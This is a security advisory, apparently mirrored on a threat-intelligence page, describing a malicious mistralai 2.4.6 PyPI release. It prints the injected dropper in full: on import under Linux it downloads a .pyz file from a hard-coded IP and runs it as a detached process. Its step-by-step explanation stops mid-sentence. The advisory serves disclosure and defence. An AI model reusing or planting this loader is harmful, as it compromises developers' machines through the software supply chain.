GHSA-wx9m-wx4f-4cmg
The `mistralai` PyPI package version `2.4.6` contains a malicious dropper that executes on import on Linux. No `v2.4.6` tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was `2.4.5`, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing). The `mistralai` PyPI project is currently quarantined. ## Affected - `mistralai==2.4.6` on PyPI. Versions `2.4.5` and earlier are not known to be affected. ## What the malicious code does A function named `_run_background_task` was added to `src/mistralai/client/__init__.py` and called at module-load time. Reproduced from the public report in [#523](https://github.com/mistralai/client-python/issues/523): ```python import subprocess as _sub import os as _os def _run_background_task(): if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"): return _os.environ["MISTRAL_INIT"] = "1" _url = "https://83.142.209.194/transformers.pyz" _dest = "/tmp/transformers.pyz" try: if not _os.path.exists(_dest): _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15) if _os.path.exists(_dest): _sub.Popen( [_sys.executable, _dest], stdout=_sub.DEVNULL, stderr=_sub.DEVNULL, start_new_session=True, env=_os.environ.copy() ) except: pass _run_background_task() ``` On Linux only, the function: 1. Returns early if `MISTRAL_INIT` is already set in the environment. 2. Sets `MISTRAL_INIT=1` so the spawned child does not re-trigger the dropper if it imports `mistralai`. 3. Downloads `https://83.142.209.194/transformers.pyz` to `/tmp/transformers.pyz` with `curl -k -L -s` (TLS verification disabled, 15 s timeout). Skips the download if the file is already present. 4. Spawns `transformers.pyz` with the current Python interpreter (`sys.executable`) as a detached process via `
Properties
- ghsa_id
- GHSA-wx9m-wx4f-4cmg
- severity
- critical
- summary
- Malicious dropper in mistralai 2.4.6 PyPI package
- cvss_score
- 9.6
- cve_id
- GHSA-wx9m-wx4f-4cmg
- cvss_vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- is_ghsa_only
- true
- ghsa_published
- 2026-05-18T17:55:27Z
- source_url
- https://github.com/advisories/GHSA-wx9m-wx4f-4cmg
- ghsa_updated
- 2026-05-18T17:55:30Z
Related Entities (4)
HAS_WEAKNESS (1)
REPORTED_BY (1)
VULNERABLE_TO (1)
AFFECTS (1)
Explore deeper with Ninja Signal's threat intelligence graph